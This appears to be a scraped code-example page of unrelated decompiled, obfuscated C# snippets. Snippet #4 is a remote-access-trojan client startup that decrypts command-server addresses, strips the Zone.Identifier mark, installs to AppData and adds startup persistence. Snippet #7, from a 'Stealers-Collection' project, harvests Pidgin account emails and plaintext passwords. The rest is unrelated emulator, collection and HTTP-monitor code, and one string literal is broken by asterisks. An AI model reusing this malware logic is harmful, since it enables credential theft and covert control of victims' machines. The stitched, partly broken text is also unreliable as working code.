コード例 #1
0
ファイル: GClass4.cs プロジェクト: sembol2005/DOPE-Source
    private void method_23()
    {
        object obj = this.object_0;

        lock (obj)
        {
            IEnumerator enumerator  = this.list_2.GetEnumerator();
            IEnumerator enumerator2 = this.ObsColl.GetEnumerator();
            enumerator.Reset();
            enumerator2.Reset();
            bool flag2 = enumerator.MoveNext();
            bool flag3 = enumerator2.MoveNext();
            while (flag2 || flag3)
            {
                if (flag2)
                {
                    flag2 = enumerator.MoveNext();
                }
                if (flag3)
                {
                    flag3 = enumerator2.MoveNext();
                }
            }
            GClass2.smethod_0(enumerator);
            GClass2.smethod_0(enumerator2);
        }
    }
コード例 #2
0
    public bool method_23(IEnumerable <BuWIYp6s752jjOVqba> ienumerable_0)
    {
        if (this.Count != ienumerable_0.Count <BuWIYp6s752jjOVqba>())
        {
            return(false);
        }
        object obj = this.object_0;

        lock (obj)
        {
            IEnumerator <BuWIYp6s752jjOVqba> enumerator = this.GetEnumerator();
            enumerator.Reset();
            foreach (BuWIYp6s752jjOVqba buWIYp6s752jjOVqba in ienumerable_0)
            {
                enumerator.MoveNext();
                BuWIYp6s752jjOVqba buWIYp6s752jjOVqba2 = enumerator.Current;
                if (buWIYp6s752jjOVqba2.Equals(buWIYp6s752jjOVqba))
                {
                    return(false);
                }
            }
            GClass2.smethod_0(enumerator);
        }
        return(true);
    }
コード例 #3
0
ファイル: GClass4.cs プロジェクト: sembol2005/DOPE-Source
    public bool nEnpaOxOX(IEnumerable <p2Lmrea3T7dTWk4rRI> ienumerable_0)
    {
        if (this.Count != ienumerable_0.Count <p2Lmrea3T7dTWk4rRI>())
        {
            return(false);
        }
        object obj = this.object_0;

        lock (obj)
        {
            IEnumerator <p2Lmrea3T7dTWk4rRI> enumerator = this.GetEnumerator();
            enumerator.Reset();
            foreach (p2Lmrea3T7dTWk4rRI p2Lmrea3T7dTWk4rRI in ienumerable_0)
            {
                enumerator.MoveNext();
                p2Lmrea3T7dTWk4rRI p2Lmrea3T7dTWk4rRI2 = enumerator.Current;
                if (p2Lmrea3T7dTWk4rRI2.Equals(p2Lmrea3T7dTWk4rRI))
                {
                    return(false);
                }
            }
            GClass2.smethod_0(enumerator);
        }
        return(true);
    }
コード例 #4
0
 // Token: 0x060005BB RID: 1467
 private static void smethod_2()
 {
     //判断判断互斥体是否多开,有则失去连接,并且返回
     if (!GClass2.smethod_0(GClass35.string_6))
     {
         GClass0.Disconnect = true;
     }
     if (GClass0.Disconnect)
     {
         return;
     }
     //解密Key
     GClass18.smethod_0(GClass35.string_2);
     //将上线地址解密放进队列在给实体类复制 (说明支持多地址上线)
     Class10.gclass25_0 = new GClass25(GClass6.smethod_0(GClass35.string_1));
     //解密远程文件下载路径 %AppData%/Subdir/client.exe
     GClass0.InstallPath = Path.Combine(GClass35.string_3, ((!string.IsNullOrEmpty(GClass35.string_4)) ? (GClass35.string_4 + "\\") : "") + GClass35.string_5);
     //geoip信息获取ip地理位置国家等信息
     GClass34.smethod_0();
     //判断上线地址是否失败
     if (Class10.gclass25_0.IsEmpty)
     {
         GClass0.Disconnect = true;
     }
     if (GClass0.Disconnect)
     {
         return;
     }
     //删除当前目录下的后缀为:Zone.Identifier
     GClass4.smethod_2(GClass0.CurrentPath);
     //判断当前目录是否是下载目录如果不是则进入
     if (GClass35.bool_0 && !(GClass0.CurrentPath == GClass0.InstallPath))
     {
         //互斥体存在则关闭
         GClass2.smethod_1();
         //运行下载路径的文件
         GClass13.smethod_0(Class10.client_0);
         return;
     }
     //用户状态更新线程 五秒更新一次
     GClass3.smethod_2();
     //添加程序到用户启动项
     if (GClass35.bool_1 && GClass35.bool_0 && !GClass16.smethod_1())
     {
         GClass0.AddToStartupFailed = true;
     }
     //添加并初始化实体类
     Class10.smethod_1();
     if (GClass35.bool_3)
     {
         if (Class10.threadStart_0 == null)
         {
             Class10.threadStart_0 = new ThreadStart(Class10.smethod_9);
         }
         new Thread(Class10.threadStart_0).Start();
         return;
     }
 }
コード例 #5
0
 protected override void PrepareRomIfNecessary(bool directDownload)
 {
     Class67.smethod_10();
     if (this.bool_0 && !Cemu._gPackApplied)
     {
         GClass2.smethod_0();
         Cemu._gPackApplied = true;
     }
     base.PrepareRomIfNecessary(directDownload);
     this.PrepareUpdateIfNecessary(directDownload);
     this.PrepareDlcIfNecessary(directDownload);
 }
コード例 #6
0
    // Token: 0x0600017E RID: 382 RVA: 0x000102D4 File Offset: 0x0000E4D4
    public static Task <HttpResponseMessage> smethod_1(string string_0, JObject jobject_0, bool bool_0)
    {
        if (GClass2.concurrentDictionary_0.ContainsKey(string_0))
        {
            if (GClass2.concurrentDictionary_0[string_0].task_0.Status == TaskStatus.WaitingForActivation)
            {
                GClass2.concurrentDictionary_0[string_0].dateTime_0 = DateTime.Now;
                goto IL_8B;
            }
        }
        if (bool_0)
        {
            GClass3.smethod_0("Starting monitor for: " + new Uri(string_0).Authority, "Monitor");
        }
        GClass4 gclass = new GClass4();

        GClass2.concurrentDictionary_0[string_0]        = gclass;
        GClass2.concurrentDictionary_0[string_0].task_0 = GClass2.smethod_0(gclass, string_0, jobject_0);
IL_8B:
        return(GClass2.concurrentDictionary_0[string_0].task_1);
    }
コード例 #7
0
ファイル: GClass2.cs プロジェクト: yaskin/Stealers-Collection
    // Token: 0x06000086 RID: 134 RVA: 0x00005BE4 File Offset: 0x00003DE4
    public static object smethod_1()
    {
        string path  = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\.purple\\accounts.xml";
        string path2 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\.purple/blist.xml";
        string text  = File.ReadAllText(path);
        string text2 = File.ReadAllText(path2);

        string[] separator = new string[]
        {
            "<account>"
        };
        string[] array      = text.Split(separator, StringSplitOptions.None);
        string[] separator2 = new string[]
        {
            "<account"
        };
        string[] array2 = text2.Split(separator2, StringSplitOptions.None);
        string   text3  = string.Empty;
        int      num    = 1;

        checked
        {
            int num2 = array.Length - 1;
            for (int i = num; i <= num2; i++)
            {
                string   text4  = GClass2.smethod_0(array[i], "<protocol>", "</protocol>", 0).Replace("prpl-", string.Empty);
                string   text5  = GClass2.smethod_0(array[i], "<name>", "</name>", 0);
                string   text6  = GClass2.smethod_0(array[i], "<password>", "</password>", 0);
                string   text7  = GClass2.smethod_0(array[i], "name='", "' active='true'", 0);
                string   text8  = GClass2.smethod_0(array[i], "<alias>", "</alias>", 0);
                string   text9  = GClass2.smethod_0(array[i], "<setting name='display-name' type='string'>", "</setting>", 0);
                string[] array3 = array2[i].Split(new char[]
                {
                    '<'
                });
                string str  = string.Empty;
                int    num3 = 1;
                int    num4 = array3.Length - 4;
                for (int j = num3; j <= num4; j += 2)
                {
                    str = str + array3[j].Replace("block>", "Blocked - ").Replace("permit>", "Permit - ") + "\r\n";
                }
                text3 = string.Concat(new string[]
                {
                    text3,
                    "Protocol: ",
                    text4,
                    "\r\nEmail: ",
                    text5,
                    "\r\nPassword: "******"\r\nLocal Alias: ",
                    text8,
                    "\r\nDisplay Name: ",
                    text9,
                    "\r\nLast Status: ",
                    text7,
                    "\r\n"
                });
            }
            return(text3);
        }
    }
コード例 #8
0
ファイル: GClass2.cs プロジェクト: ActorExpose/ProstoClipper
 // Token: 0x06000134 RID: 308 RVA: 0x00002914 File Offset: 0x00000B14
 protected virtual void OnTextChanged(EventArgs e)
 {
     base.OnTextChanged(e);
     GClass2.smethod_0(this);
 }